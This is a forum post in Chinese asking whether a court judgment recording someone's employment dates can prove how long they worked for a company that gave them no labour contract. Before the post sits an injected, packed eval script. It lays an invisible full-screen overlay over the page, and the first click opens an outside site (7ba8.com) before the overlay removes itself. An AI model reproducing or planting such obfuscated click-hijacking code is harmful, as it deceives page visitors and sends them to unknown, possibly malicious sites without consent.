<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>目前在凑工作经验年限的分，这个情况可能不太常见，但是就想着万一论坛里强人多知道能给我指点一二呢？
多年前国内某公司工作1年多，但没有劳动合同，工资条这种东西当然更没有……有社保记录但好像非常后来才给上的，前面的一段时间都没有。后来我以没有劳动合同为由向法院起诉该公司并赢了官司，法院判决书上有明确写出我的入职离职时间，这样的能当雇佣关系时长的证明么？
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